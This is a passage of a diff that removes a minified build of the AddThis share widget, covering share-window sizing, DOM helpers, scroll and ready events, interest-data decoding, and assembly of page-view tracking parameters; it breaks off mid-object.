-                            f,
-                            (0, s.default)({}, o, {
-                                service: e,
-                                url: o.url || o.followUrl || _
-                            })
-                        ),
-                        b
-                    );
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = o);
-                var r = n(8);
-                var s = a(r);
-                var d = n(476);
-                var u = a(d);
-                var c = n(422);
-                var l = a(c);
-                var f = n(494);
-                var p = a(f);
-                var h = {
-                    wordpress: {
-                        width: 720,
-                        height: 570
-                    },
-                    linkedin: {
-                        width: 600,
-                        height: 400
-                    },
-                    twitter: {
-                        width: 520,
-                        height: 520
-                    },
-                    default: {
-                        width: 550,
-                        height: 450
-                    }
-                };
-                var m = {
-                    SAME_WINDOW: 'SAME_WINDOW',
-                    NEW_FULL_WINDOW: 'NEW_FULL_WINDOW',
-                    NEW_CENTERED_WINDOW: 'NEW_CENTERED_WINDOW'
-                };
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(498);
-                var i = n(5);
-                e.exports = () => {
-                    var e = document.documentElement || {};
-                    var t = window.screen;
-                    var n = 0;
-                    return (
-                        i('mob') && a(t.availHeight) ?
-                        (n = t.availHeight) :
-                        a(window.innerHeight) ?
-                        (n = window.innerHeight) :
-                        a(e.clientHeight) && (n = e.clientHeight),
-                        n
-                    );
-                };
-            },
-            (e, t) => {
-                'use strict';
-                e.exports = (e) => !isNaN(e);
-            }, , , , ,
-            (e, t, n) => {
-                var a = n(9);
-                var i = n(63);
-                e.exports = function e(t, n, o) {
-                    var r = window.decodeURIComponent;
-                    return (
-                        (t = t || ''),
-                        (n = n || '&'),
-                        (o = o || '='),
-                        a(
-                            t.split(n),
-                            (t, a) => {
-                                try {
-                                    var s = a.split(o);
-                                    var d = i(r(s[0]));
-                                    var u = i(r(s.slice(1).join(o)));
-                                    (u.indexOf(n) > -1 || u.indexOf(o) > -1) && (u = e(u, n, o)), d && (t[d] = u);
-                                } catch (e) {}
-                                return t;
-                            }, {}
-                        )
-                    );
-                };
-            }, , , , , ,
-            (e, t) => {
-                'use strict';
-                e.exports = (e, t) => {
-                    for (var n = 0; n < e.length; n++)
-                        if (e[n] === t) return !0;
-                    return !1;
-                };
-            }, , , , , , , , , , , , , , , , , , , , , , , ,
-            (e, t) => {
-                function n(e) {
-                    return 'function' == typeof c.querySelector ? c.querySelector(e) || null : null;
-                }
-                function a(e) {
-                    return 'function' == typeof c.querySelectorAll ? c.querySelectorAll(e) || [] : [];
-                }
-                function i(e) {
-                    var t;
-                    var n = (e || {}).childNodes;
-                    var a = e.textContent || e.innerText || '';
-                    var i = /^\s*$/;
-                    if (!a) {
-                        if (!n) return '';
-                        for (t = 0; t < n.length; t++)
-                            if (((e = n[t]), '#text' === e.nodeName && !i.test(e.nodeValue))) {
-                                a = e.nodeValue;
-                                break;
-                            }
-                    }
-                    return a;
-                }
-                function o(e) {
-                    if ('string' == typeof e) {
-                        var t = e.substr(0, 1);
-                        '#' === t ? (e = c.getElementById(e.substr(1))) : '.' === t && (e = d(l, '*', e.substr(1)));
-                    }
-                    return e ? e instanceof Array || (e = [e]) : (e = []), e;
-                }
-                function r(e, t) {
-                    if (((e = (e || {}).parentNode), !t || !e)) return e;
-                    if (0 === t.indexOf('.'))
-                        for (t = t.substr(1); e.parentNode && (e.className || '').indexOf(t) < 0;) e = e.parentNode;
-                    else if (0 === t.indexOf('#'))
-                        for (t = t.substr(1); e.parentNode && (e.id || '').indexOf(t) < 0;) e = e.parentNode;
-                    return e;
-                }
-                function s(e, t, n, a, i) {
-                    t = t.toUpperCase();
-                    var o;
-                    var r;
-                    var s = document;
-                    var d = e === l && u[t] ? u[t] : (e || l || s.body).getElementsByTagName(t);
-                    var c = [];
-                    if ((e === l && (u[t] = d), i))
-                        for (o = 0; o < d.length; o++)(r = d[o]), (r.className || '').indexOf(n) > -1 && c.push(r);
-                    else {
-                        n = n.replace(/\-/g, '\\-');
-                        var f = new RegExp('\\b' + n + (a ? '\\w*' : '') + '\\b');
-                        for (o = 0; o < d.length; o++)(r = d[o]), f.test(r.className) && c.push(r);
-                    }
-                    return c;
-                }
-                function d(e, t, n) {
-                    (e = e || document), '*' === t && (t = null);
-                    for (
-                        var a,
-                            i = c.getElementsByClassName ?
-                            (e, t) => e.getElementsByClassName(n) :
-                            c.querySelectorAll ?
-                            (e, t) => c.querySelectorAll('.' + n) :
-                            () => [],
-                            o = i(e, n),
-                            r = t ? new RegExp('\\b' + t + '\\b', 'i') : null,
-                            s = [],
-                            d = 0,
-                            u = o.length; d < u; d += 1
-                    )
-                        (a = o[d]), (r && !r.test(a.nodeName)) || s.push(a);
-                    return s;
-                }
-                var u = {};
-                var c = document;
-                var l = c.body;
-                e.exports = {
-                    querySelector: n,
-                    querySelectorAll: a,
-                    getElementsByClassPrefix: s,
-                    select: o,
-                    getParent: r,
-                    getText: i
-                };
-            },
-            (e, t) => {
-                'use strict';
-                var n = {};
-                var a = {
-                    getPCOs() {
-                        return Object.keys(n);
-                    },
-                    addPCO(e) {
-                        var t;
-                        !n[e] && 'string' == typeof e && /[a-zA-Z]/.test(e) && ((t = e.match(/[0-9\-]/)), t && (e = e.slice(0, t.index)), (n[e] = e));
-                    },
-                    empty() {
-                        n = {};
-                    }
-                };
-                e.exports = a;
-            },
-            (e, t) => {
-                'use strict';
-                function n() {
-                    return /addthis\.com$/.test(location.hostname) && '/dashboard' === location.pathname && /^#tool\-config/.test(location.hash);
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = n),
-                    (e.exports = t.default);
-            },
-            (e, t) => {
-                'use strict';
-                function n() {
-                    return document.body.scrollTop || (document.documentElement && document.documentElement.scrollTop);
-                }
-                function a() {
-                    return document.body.scrollLeft || (document.documentElement && document.documentElement.scrollLeft);
-                }
-                var i = 'scroll';
-                var o = !1;
-                var r = {
-                    setup() {
-                        o || ((r._scrollTop = n()), (r._scrollLeft = a()), (r._scrollInterval = setInterval(r._handleScroll, 20)), (o = !0));
-                    },
-                    teardown() {
-                        clearInterval(r._scrollInterval), (r._scrollInterval = null), (o = !1);
-                    },
-                    _handleScroll() {
-                        var e = a(),
-                            t = n(),
-                            o = e - r._scrollLeft,
-                            s = t - r._scrollTop;
-                        (o || s) &&
-                        addthis.events._fire(i, null, {
-                                x: e,
-                                y: t,
-                                dx: o,
-                                dy: s
-                            }),
-                            (r._scrollLeft = e),
-                            (r._scrollTop = t);
-                    },
-                    _scrollTop: document.body.scrollTop,
-                    _scrollLeft: document.body._scrollLeft,
-                    _scrollInterval: null
-                };
-                e.exports = r;
-            }, ,
-            (e, t, n) => {
-                'use strict';
-                var a = n(7);
-                var i = () => {};
-                a(i, 'events'), (e.exports = i);
-            },
-            (e, t, n) => {
-                var a;
-                var i = n(5);
-                var o = {
-                    isBound: 0,
-                    isReady: 0,
-                    readyList: [],
-                    onReady() {
-                        var e;
-                        if (!o.isReady) {
-                            (e = o.readyList.concat(window.addthis_onload || [])), (o.isReady = 1);
-                            for (var t = 0; t < e.length; t++) e[t].call(window);
-                            o.readyList = [];
-                        }
-                    },
-                    addLoad(e) {
-                        var t = window.onload;
-                        'function' != typeof window.onload ?
-                            (window.onload = e) :
-                            (window.onload = () => {
-                                t && t(), e();
-                            });
-                    },
-                    bindReady() {
-                        if (!o.isBound && !_atc.xol) {
-                            if (((o.isBound = 1), 'complete' === document.readyState)) return void setTimeout(o.onReady, 1);
-                            document.addEventListener && !i('opr') && document.addEventListener('DOMContentLoaded', o.onReady, !1);
-                            var e = window.addthis_product;
-                            if (e && e.indexOf('f') > -1) return void o.onReady();
-                            if (
-                                (i('msi') &&
-                                    !i('ie9') &&
-                                    window === window.parent &&
-                                    !(function(...args) {
-                                        if (!o.isReady) {
-                                            try {
-                                                document.documentElement.doScroll('left');
-                                            } catch (e) {
-                                                return void setTimeout(args.callee, 0);
-                                            }
-                                            o.onReady();
-                                        }
-                                    })(),
-                                    i('opr'))
-                            ) {
-                                var t = !0,
-                                    n = () => {
-                                        if (!o.isReady) {
-                                            for (var e = 0; e < document.styleSheets.length; e++)
-                                                if (document.styleSheets[e].disabled) {
-                                                    (t = !1), setTimeout(n, 0);
-                                                    break;
-                                                }
-                                            t && o.onReady();
-                                        }
-                                    };
-                                document.addEventListener('DOMContentLoaded', n, !1);
-                            }
-                            if (i('saf')) {
-                                var r;
-                                !(function(...args) {
-                                    if (!o.isReady) {
-                                        if ('loaded' !== document.readyState && 'complete' !== document.readyState) return void setTimeout(args.callee, 0);
-                                        if (r === a) {
-                                            for (var e = document.gn('link'), t = 0; t < e.length; t++) 'stylesheet' === e[t].getAttribute('rel') && r++;
-                                            var n = document.gn('style');
-                                            r += n.length;
-                                        }
-                                        return document.styleSheets.length !== r ? void setTimeout(args.callee, 0) : void o.onReady();
-                                    }
-                                })();
-                            }
-                            o.addLoad(o.onReady);
-                        }
-                    },
-                    append(e) {
-                        o.bindReady(), o.isReady ? e.call(window, []) : o.readyList.push(() => e.call(window, []));
-                    }
-                };
-                e.exports = o;
-            },
-            (e, t, n) => {
-                var a = n(413);
-                var i = n(405);
-                e.exports = (e) => {
-                    var t = document.createElement('iframe');
-                    return (e = e || {}), (t.src = _atr + 'static/api.html#' + a(e)), (t.style.display = 'none'), i(t), t;
-                };
-            },
-            (e, t, n) => {
-                var a = n(23).listen;
-                var i = {};
-                e.exports = (e) => {
-                    function t(t, n) {
-                        return function(...args) {
-                            var a;
-                            var i;
-                            var o = Array.prototype.slice.call(args, 0);
-                            var d = o[o.length - 1];
-                            d && d.constructor === Function && ((i = o.pop()), (a = r++), s[t] ? (s[t][a] = i) : ((s[t] = {}), (s[t][a] = i))),
-                                e.contentWindow.postMessage(
-                                    JSON.stringify({
-                                        type: 'api.request',
-                                        api: t,
-                                        method: n,
-                                        args: o,
-                                        id: a
-                                    }),
-                                    e.src
-                                );
-                        };
-                    }
-                    function n(t) {
-                        d[t] ?
-                            o(this, t, d[t]) :
-                            (c[t] ? c[t].push(this) : (c[t] = [this]),
-                                e.contentWindow.postMessage(
-                                    JSON.stringify({
-                                        type: 'api.info.request',
-                                        api: t
-                                    }),
-                                    '*'
-                                )),
-                            (this.addReadyListener = (e) => {
-                                d[t] ? e() : u[t] ? u[t].push(e) : (u[t] = [e]);
-                            });
-                    }
-                    function o(e, n, a) {
-                        var i;
-                        var o;
-                        for (i = 0; i < a.length; i++)(o = a[i]), (e[o] = t(n, o));
-                    }
-                    if (e.__apiID && i[e.__apiID]) return i[e.__apiID];
-                    e.__apiID = String(Math.random());
-                    var r = 0;
-                    var s = {};
-                    var d = {};
-                    var u = {};
-                    var c = {};
-                    return (
-                        a(window, 'message', function(t) {
-                            var n;
-                            var a;
-                            var i = t.data;
-                            var r = t.source;
-                            if (r === e.contentWindow) {
-                                try {
-                                    i = JSON.parse(i);
-                                } catch (e) {
-                                    i = i || {};
-                                }
-                                if ('api.response' === i.type) s[i.api] && s[i.api][i.id] && (s[i.api][i.id].call(this, i.result), delete s[i.api][i.id]);
-                                else if ('api.info' === i.type) {
-                                    for (n = c[i.api], d[i.api] = i.methods; n && n.length;) o(n.pop(), i.api, d[i.api]);
-                                    for (; u[i.api] && u[i.api].length;)(a = u[i.api].pop())();
-                                }
-                            }
-                        }),
-                        (i[e.__apiID] = n),
-                        n
-                    );
-                };
-            },
-            (e, t) => {
-                'use strict';
-                function n() {
-                    var e = document.location.href || '';
-                    return e
-                        .replace(/^(http|https):\/\//, '')
-                        .split('/')
-                        .shift();
-                }
-                function a(e, t, a, i) {
-                    var o = this;
-                    Object.keys(t).forEach((e) => {
-                            var a = t[e];
-                            o[e] = function(...args) {
-                                var e = Array.prototype.slice.call(args);
-                                var t = e[e.length - 1];
-                                var o = void 0;
-                                t && t.constructor === Function && (o = e.pop());
-                                var r = null;
-                                return (i && !i.contains(n())) || (r = a.apply(this, e)), o ? void o(r) : r;
-                            };
-                        }),
-                        (this.addReadyListener = (e) => {
-                            e && e.constructor === Function && a(e);
-                        });
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = a),
-                    (e.exports = t.default);
-            },
-            (e, t, n) => {
-                var a = n(544);
-                e.exports = {
-                    methods: {
-                        getInterests() {
-                            return a.getInterests();
-                        },
-                        getData() {
-                            var e = a.getParsedInterests();
-                            return {
-                                data: JSON.stringify(e || {})
-                            };
-                        }
-                    },
-                    onReady(e) {
-                        a.onReady(e);
-                    }
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var i = n(545);
-                var o = a(i);
-                var r = [];
-                var s = !1;
-                var d = !1;
-                var u = !1;
-                var c = void 0;
-                (t.default = {
-                    start(e) {
-                        var t = this;
-                        s ||
-                            ((s = !0),
-                                e.ed.addEventListener('addthis.lojson.response', (e) => {
-                                    (d = !0), e.data.bt2 && t.set(e.data.bt2);
-                                }),
-                                e.ed.addEventListener('addthis-internal.data.bt2', (e) => {
-                                    (u = !0), c || t.set(e.data.bt2);
-                                }));
-                    },
-                    get() {
-                        return c;
-                    },
-                    set(e) {
-                        if (((c = e), this.loaded())) {
-                            var t = r.length;
-                            var n = void 0;
-                            for (n = 0; n < t; n++) {
-                                var a = r.pop();
-                                a();
-                            }
-                        }
-                    },
-                    loaded() {
-                        return c || d;
-                    },
-                    getParsedInterests() {
-                        var e = this.get();
-                        if (!e) return {};
-                        var t = void 0;
-                        try {
-                            t = {
-                                timeStamp: new Date(1e3 * parseInt(e.substring(0, 8), 16)),
-                                behaviors: []
-                            };
-                            for (var n = 8, a = void 0, i = o.default; n + 9 <= e.length;) {
-                                var r = {};
-                                (a = e.substring(n, n + 9)),
-                                (r.id = i(a.substring(0, 4), 64)),
-                                (r.bucketWidth = i(a.substring(4, 5), 64)),
-                                (r.buckets = [i(a.charAt(5), 64), i(a.charAt(6), 64), i(a.charAt(7), 64), i(a.charAt(8), 64)]),
-                                t.behaviors.push(r),
-                                    (n += 9);
-                            }
-                        } catch (e) {
-                            this.set(null), (t = {});
-                        }
-                        return t;
-                    },
-                    getInterests() {
-                        var e = this.getParsedInterests();
-                        var t = [];
-                        return e.behaviors ?
-                            (e.behaviors.forEach((e) => {
-                                    t.push(e.id);
-                                }),
-                                t) :
-                            t;
-                    },
-                    onReady(e) {
-                        this.loaded() ? e() : r.push(e);
-                    }
-                }),
-                (e.exports = t.default);
-            },
-            (e, t, n) => {
-                var a = n(546);
-                e.exports = (e, t) => {
-                    var n;
-                    var i = 0;
-                    for (n = 0; n < e.length; n++)(i *= t), (i += a(e.charAt(n)));
-                    return i;
-                };
-            },
-            (e, t) => {
-                e.exports = (e) => {
-                    var t = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_';
-                    return 1 !== e.length ? NaN : t.indexOf(e);
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(548);
-                e.exports = new a([1244555116, 294002269, 147834590, -370796092, -28573379]);
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(549);
-                var i = n(59).getDomainNoProtocol;
-                var o = /^https?:\/\/localhost(:\d+)?(\/.+)?$/;
-                var r = /^https?:\/\/10\.0\.2\.2(:\d+)?(\/.+)?$/;
-                e.exports = function(e) {
-                    var t;
-                    var n;
-                    var s = {};
-                    for (n = 0; n < e.length; n++) {
-                        if (((t = e[n]), parseInt(t) !== t)) throw new Error('All members of a SecureWhitelist must be integers generated by `fowlerNollVoHash`.');
-                        s[t] = 1;
-                    }
-                    this.contains = (e) => !!e.match(o) || !!e.match(r) || !!s[a(i(e))];
-                };
-            },
-            (e, t) => {
-                e.exports = (e) => {
-                    for (var t, n, a = e.length, i = 2166136261, o = -1; ++o < a;)
-                        (t = e.charCodeAt(o)),
-                        (n = 4278190080 & t) && ((i ^= n >> 24), (i += (i << 1) + (i << 4) + (i << 7) + (i << 8) + (i << 24))),
-                        (n = 16711680 & t) && ((i ^= n >> 16), (i += (i << 1) + (i << 4) + (i << 7) + (i << 8) + (i << 24))),
-                        (n = 65280 & t) && ((i ^= n >> 8), (i += (i << 1) + (i << 4) + (i << 7) + (i << 8) + (i << 24))),
-                        (i ^= 255 & t),
-                        (i += (i << 1) + (i << 4) + (i << 7) + (i << 8) + (i << 24));
-                    return (i += i << 13), (i ^= i >> 7), (i += i << 3), (i ^= i >> 17), (i += i << 5), 4294967295 & i;
-                };
-            },
-            (e, t, n) => {
-                function i() {
-                    function e() {
-                        var e;
-                        var t;
-                        var n;
-                        var a;
-                        var i;
-                        var o;
-                        X ||
-                            f ||
-                            ((f = !0),
-                                S.isPayingCustomer() && (_ate.pro = !0),
-                                (t = S.getCustomMessageConfig()),
-                                (n = S.getLayersConfig()),
-                                (e = S.getFeedsTestCells()),
-                                t && un.messages(t),
-                                e && ((o = S.isPayingCustomer()), (i = N(e, o)), _ate.feeds.setTestCell(i)),
-                                n ?
-                                ((a = be({
-                                            cfs: !0
-                                        },
-                                        n
-                                    )),
-                                    un.layers(a, {
-                                        cfs: !0
-                                    })) :
-                                w());
-                    }
-                    function t() {
-                        (X = !0), $ || (w(), y());
-                    }
-                    function a(t) {
-                        if ((($ = !0), clearTimeout(J), t && (zt(t.blk || u), !Lt()))) {
-                            t.config = null;
-                            var n = [];
-                            if (t['pro-config'] && t['pro-config']._default) {
-                                (t.config = t['pro-config']), delete t['pro-config'];
-                                for (var a in t.config._default.widgets) {
-                                    var o = t.config._default.widgets[a];
-                                    o.widgetId && n.push(o.widgetId);
-                                }
-                            }
-                            t['tool-config'] &&
-                                t['tool-config']._default &&
-                                t['tool-config']._default.widgets &&
-                                (t.config ||
-                                    (t.config = {
-                                        _default: {
-                                            widgets: {}
-                                        }
-                                    }),
-                                    Object.keys(t['tool-config']._default.widgets)
-                                    .filter((e) => ce(n, e) < 0)
-                                    .forEach((e) => {
-                                        t.config._default.widgets[e] = t['tool-config']._default.widgets[e];
-                                    }),
-                                    delete t['tool-config']),
-                                (t.perConfig = j.getConfig(t)),
-                                S.updateCache(t),
-                                e(),
-                                i(t),
-                                y();
-                        }
-                    }
-                    function i(e) {
-                        _ate.ed.fire('addthis.boost.response', null, e);
-                    }
-                    var o = n(534);
-                    if ((Kt.gov(), !pt())) {
-                        sn.addthis && sn.addthis.timer && (sn.addthis.timer.main = new Date().getTime()), T.start(_ate);
-                        var r;
-                        var s;
-                        var d;
-                        var u = Rt.contains(Nt.du);
-                        var c = sn.addthis_config || {};
-                        var l = Nt.title;
-                        var f = !1;
-                        var p = 'undefined' != typeof _ate.rdr ? _ate.rdr : Nt.dr || '';
-                        var h = Nt.du || null;
-                        var m = (Nt.dh, Nt.du || null);
-                        var g = 0;
-                        var _ = _ate.track.extractOurParameters(p);
-                        var v = [];
-                        var b = !!_ate.cookie.rck('nabc');
-                        var x = _.cfc;
-                        var k = _.ab;
-                        var C = _.pos ? parseInt(_.pos, 10) : null;
-                        var M = _.tot ? parseInt(_.tot, 10) : null;
-                        var E = _.rsiq;
-                        var D = _.rsi;
-                        var L = _.rxi;
-                        var z = _.rsc
-                            .split('&')
-                            .shift()
-                            .split('%')
-                            .shift()
-                            .replace(/[^a-z0-9_]/g, '');
-                        var P = _.gen;
-                        var B = _.fuid;
-                        var F = _.csi;
-                        var U = () => {
-                            _ate.track.pcs.length || _ate.track.apc(sn.addthis_product || 'men-300'),
-                                (d.pc = _ate.track.pcs.join(',')),
-                                _ate.track.pcs.forEach((e) => {
-                                    o.addPCO(e);
-                                });
-                        };
-                        var W = sn.ljep || !1;
-                        var q = _ate.pub();
-                        var H = 5e3;
-                        (h || '').indexOf(_atr) === -1 && (_ate.cookie.view.update(!0), _ate.cookie.visit.update()),
-                            'tweet' === z && (z = 'twitter'),
-                            (_.rsc = z),
-                            sn.addthis_product &&
-                            (_ate.track.apc(addthis_product),
-                                addthis_product.indexOf('fxe') === -1 && addthis_product.indexOf('bkm') === -1 && (_ate.track.spc = addthis_product));
-                        var V = _ate.share.links.canonical;
-                        V &&
-                            (0 !== V.indexOf('http') ?
-                                ((m = (h || '').split('//').pop().split('/')),
-                                    0 === V.indexOf('/') ? (m = m.shift() + V) : (m.pop(), (m = m.join('/') + '/' + V)),
-                                    (m = document.location.protocol + '//' + m)) :
-                                (m = V),
-                                _ate.usu(0, 1)),
-                            (m = m.split('#{').shift()),
-                            Xe(m),
-                            m && (_ate.share.links.canonical = m);
-                        var G = addthis_share.view_url_transforms || addthis_share.track_url_transforms || addthis_share.url_transforms || {};
-                        if (((G.defrag = 1), G && (m = _ate.track.mgu(m, G)), D && (D = D.substr(0, 8) + B), _ate.bro.mod === -1)) {
-                            var Z = document.compatMode;
-                            if (Z) {
-                                var K = 1;
-                                'BackCompat' === Z ? (K = 2) : 'CSS1Compat' === Z && (K = 0), (_ate.bro.mode = K), _ate.bro.msi && (_ate.bro.mod = K);
-                            }
-                        }
-                        (_ate.dr = _ate.truncateURL(p, 'fr')),
-                        (_ate.du = _ate.truncateURL(m, 'fp')),
-                        (_ate.dt = l = sn.addthis_share.title),
-                        (_ate.smd = {
-                            rsi: D,
-                            rxi: L,
-                            gen: P,
-                            rsc: z
-                        }),
-                        (sn.addthis_share.smd = _ate.smd),
-                        _ate.upm && (sn.addthis_share.smd.dr = _ate.dr),
-                            _ate.upm && (sn.addthis_share.smd.sta = _ate.track.sta()),
-                            (_ate.cb = _ate.ad.cla()),
-                            (_ate.kw = 1 !== _ate.cb ? _ate.ad.kw() : ''),
-                            (_ate.dh = Nt.dh),
-                            (_ate.ssl = h && 0 === h.indexOf('https') ? 1 : 0),
-                            (_ate.ab = k || sn.addthis_ab || '-'),
-                            (_ate.ipc = !0),
-                            (sn.addthis_config = sn.addthis_config || {});
-                        var J;
-                        var $ = !1;
-                        var X = !1;
-                        var ee = (!sn.addthis_config.ignore_server_config || sn.addthis_config.call_boost) && q;
-                        if (ee) {
-                            (J = setTimeout(t, H)),
-                            I.start(_ate),
-                                sn.addthis_config.ignore_server_config ? (_ate.track.config_resp = i) : (_ate.track.config_resp = a);
-                            var te = 'https://v1.addthisedge.com/live/boost/' + _ate.pub() + '/_ate.track.config_resp';
-                            oe(te, te);
-                        }
-                        if (
-                            ((d = {
-                                    rand: _ate.rand,
-                                    iit: new Date().getTime(),
-                                    tmr: ve((sn.addthis || {}).timer || {}),
-                                    cb: _ate.cb,
-                                    cdn: _atc.cdn,
-                                    md: _ate.bro.mode,
-                                    kw: _ate.kw,
-                                    ab: _ate.ab,
-                                    dh: _ate.dh,
-                                    dr: _ate.dr,
-                                    du: _ate.du,
-                                    href: Nt.du.split('?')[0].split('#')[0],
-                                    dt: l,
-                                    dbg: R.level,
-                                    cap: ve({
-                                        tc: c.data_track_textcopy ? 1 : 0,
-                                        ab: c.data_track_addressbar ? 1 : 0
-                                    }),
-                                    inst: _ate.inst,
-                                    jsl: _ate.track.jsl(),
-                                    prod: _ate.track.prod(),
-                                    lng: Q(),
-                                    ogt: _ate.ad.gog().join(','),
-                                    pc: sn.addthis_product || 'men',
-                                    pub: _ate.pub(),
-                                    ssl: _ate.ssl,
-                                    sid: _ate.track.ssid(),
-                                    srf: _atc.famp,
-                                    ver: 300,
-                                    xck: _atc.xck || 0,
-                                    xtr: _atc.xtr || 0,
-                                    og: _ate.ad.og(),
-                                    csi: F
-                                }),
-                                un.addEventListener('addthis-internal.data.rdy', () => {
-                                    _ate.cb || un.user.isOptedOut() || _ate.cookie.isgv() || St.setup();
-                                }),
-                                _atc.noup && (d.noup = 1),
-                                _ate.dcp === Number.MAX_VALUE && (d.dnp = 1),
-                                _ate.pixu && (d.pixu = _ate.pixu),
-                                _ate.trl.length && (d.trl = _ate.trl.join(',')),
-                                _atc.rev && (d.rev = _atc.rev),
-                                (d.ct = _ate.ct = c.data_track_clickback || c.data_track_linkback || _ate.track.ctp(d.pc, c) ? 1 : 0),
-                                _ate.prv && (d.prv = ve(_ate.prv)),
-                                z && (d.sr = z),
-                                _ate.track.ssc(z),
-                                W && (d.ljep = W),
-                                _ate.sub ||
-                                (x ?
-                                    (v.push(_ate.track.fcv('plv', 1)),
-                                        v.push(_ate.track.fcv('typ', 'lnk')),
-                                        isNaN(C) || v.push(_ate.track.fcv('ttpos', C)),
-                                        isNaN(M) || v.push(_ate.track.fcv('ttnl', M)),
-                                        F && v.push(_ate.track.fcv('csi', F)),
-                                        v.push(_ate.track.fcv('pco', 'string' == typeof x ? x : 'cfd-1.0')),
-                                        v.push(
-                                            _ate.track.fcv(
-                                                'pur',
-                                                _ate.track.mgu(m, {
-                                                    defrag: 1
-                                                })
-                                            )
-                                        ),
-                                        _ate.dr &&
-                                        (d.pre = _ate.track.mgu(_ate.dr, {
-                                            defrag: 1
-                                        })),
-                                        (d.ce = v.join(','))) :
-                                    D && B != _ate.ad.gub() ?
-                                    (v.push(_ate.track.fcv('plv', 1)),
-                                        v.push(_ate.track.fcv('rsi', D)),
-                                        v.push(_ate.track.fcv('gen', P)),
-                                        v.push(_ate.track.fcv('abc', 1)),
-                                        v.push(_ate.track.fcv('fcu', _ate.ad.gub())),
-                                        v.push(_ate.track.fcv('rcf', Nt.hash)),
-                                        (d.ce = v.join(',')),
-                                        (g = 'addressbar'),
-                                        (_.rsc = z = 'addressbar')) :
-                                    (L || E || z) &&
-                                    (v.push(_ate.track.fcv('plv', 1)),
-                                        z && v.push(_ate.track.fcv('rsc', z)),
-                                        L ? v.push(_ate.track.fcv('rxi', L)) : E && v.push(_ate.track.fcv('rsi', E)),
-                                        (E || L) && v.push(_ate.track.fcv('gen', P)),
-                                        (d.ce = v.join(',')),
-                                        (g = z || 'unknown'))),
-                                _ate.track.ts.reset(_),
-                                _ate.feeds._ad() && _ate.track.hist.log(Nt.du.split('#')[0]),
-                                g &&
-                                (_ate.bamp >= 0 && ((d.clk = 1), _ate.dcp !== Number.MAX_VALUE && (_ate.dcp = d.gen = _ate.ad.type.CLICK)),
-                                    _ate.ed.fire('addthis.user.clickback', sn.addthis || {}, {
-                                        service: g,
-                                        hash: _ate.hash
-                                    })),
-                                sn.at_noxld || (d.xld = 1),
-                                _ate.upm && (d.xd = 1),
-                                !b &&
-                                sn.history &&
-                                'function' == typeof history.replaceState &&
-                                (!_ate.bro.chr || _ate.bro.chb) &&
-                                (c.data_track_addressbar || c.data_track_addressbar_paths) &&
-                                (h || '').split('#').shift() != p &&
-                                (h.indexOf('#') === -1 || D || (_.hash && L) || x))
-                        ) {
-                            var ne;
-                            var ie = Nt.pathname + Nt.search || '';
-                            var re = '/' != ie;
-                            if (c.data_track_addressbar_paths) {
-                                re = 0;
-                                for (var se = 0; se < c.data_track_addressbar_paths.length; se++)
-                                    if (((ne = new RegExp(c.data_track_addressbar_paths[se].replace(/\*/g, '.*') + '$')), ne.test(ie))) {
-                                        re = 1;
-                                        break;
-                                    }
-                            }!re ||
-                                (D && !Je.isCUIDOlderThan(D, 5)) ||
-                                ((r = _ate.track.cur(Nt.du.split('#').shift(), null, _ate.track.ssid())),
-                                    history.replaceState({
-                                            d: new Date(),
-                                            g: P
-                                        },
-                                        Nt.title,
-                                        r
-                                    ),
-                                    (d.fcu = r.split('#.').pop()));
-                        }
-                        sn.addthis && sn.addthis.timer && ((sn.addthis.timer.ifr = new Date().getTime()), d.tmr && (d.tmr += '&ifr=' + sn.addthis.timer.ifr)), U();
-                        var ue = n(643)(_ate, 'ro');
-                        ue('call-lojson', () => {
-                                var e = Nt.du.indexOf(_atr + 'wix') !== -1;
-                                var t = Nt.du.indexOf(_atr) !== -1;
-                                if (!t || e) {
-                                    var a;
-                                    var i;
-                                    var o = n(599);
-                                    var r = (n(602), n(613));
-                                    window.addthis_config.wix ?
-                                        ((a = o(window.addthis_config.wix.url)), (i = o(window.addthis_config.wix.referrer))) :
-                                        ((a = o(d.du)), (i = o(d.dr)));
-                                    var l = {
-                                        si: d.sid,
-                                        bkl: u ? 1 : 0,
-                                        bl: 0 | (c.data_use_cookies !== !1 && 1) | (c.data_track_textcopy === !0 && 2) | (c.data_track_addressbar === !0 && 4),
-                                        pub: decodeURIComponent(Gt()),
-                                        rev: d.rev,
-                                        ln: Y(),
-                                        pc: d.pc,
-                                        pdt: r.getPreDwellTime(),
-                                        cb: d.cb ? 1 : 0,
-                                        uud: d.uud ? 1 : O,
-                                        ab: d.ab,
-                                        dp: a.domain,
-                                        dr: a.domain === i.domain ? O : i.domain,
-                                        fp: de(a.path, 'fp', 500),
-                                        fr: i.path,
-                                        pro: d.pro ? 1 : O,
-                                        fcu: d.fcu,
-                                        of: A.getValue(),
-                                        nt: d.nt,
-                                        tr: d.tr,
-                                        sr: d.sr,
-                                        pd: d.prod ? 1 : 0,
-                                        irt: He.cla() > 0 ? 1 : 0,
-                                        vcl: _ate.cookie.view.cla(),
-                                        md: d.md,
-                                        ct: d.ct,
-                                        tct: c.data_track_textcopy ? 1 : 0,
-                                        abt: c.data_track_addressbar ? 1 : 0,
-                                        cdn: d.cdn,
-                                        lnlc: Q().split('-').slice(1)[0],
-                                        at3no: d.at3no,
-                                        pi: d.inst,
-                                        vr: d.vr,
-                                        rb: vt(d.dr, _ate.dh ? _ate.dh.split('.').slice(-2).join('.') : null, _ate.ssl),
-                                        gen: n(603).VIEW,
-                                        sid: d.sid,
-                                        chr: _ate.ad.gch(),
-                                        mk: '' !== d.kw ? d.kw : O,
-                                        ref: d.ref,
-                                        colc: new Date().getTime(),
-                                        wpv: window.wp_product_version,
-                                        wpbv: window.wp_blog_version,
-                                        addthis_plugin_info: window.addthis_plugin_info,
-                                        jsl: d.jsl,
-                                        uvs: _ate.cookie.rck('__atuvs'),
-                                        skipb: 1
-                                    };
-                                    rn({
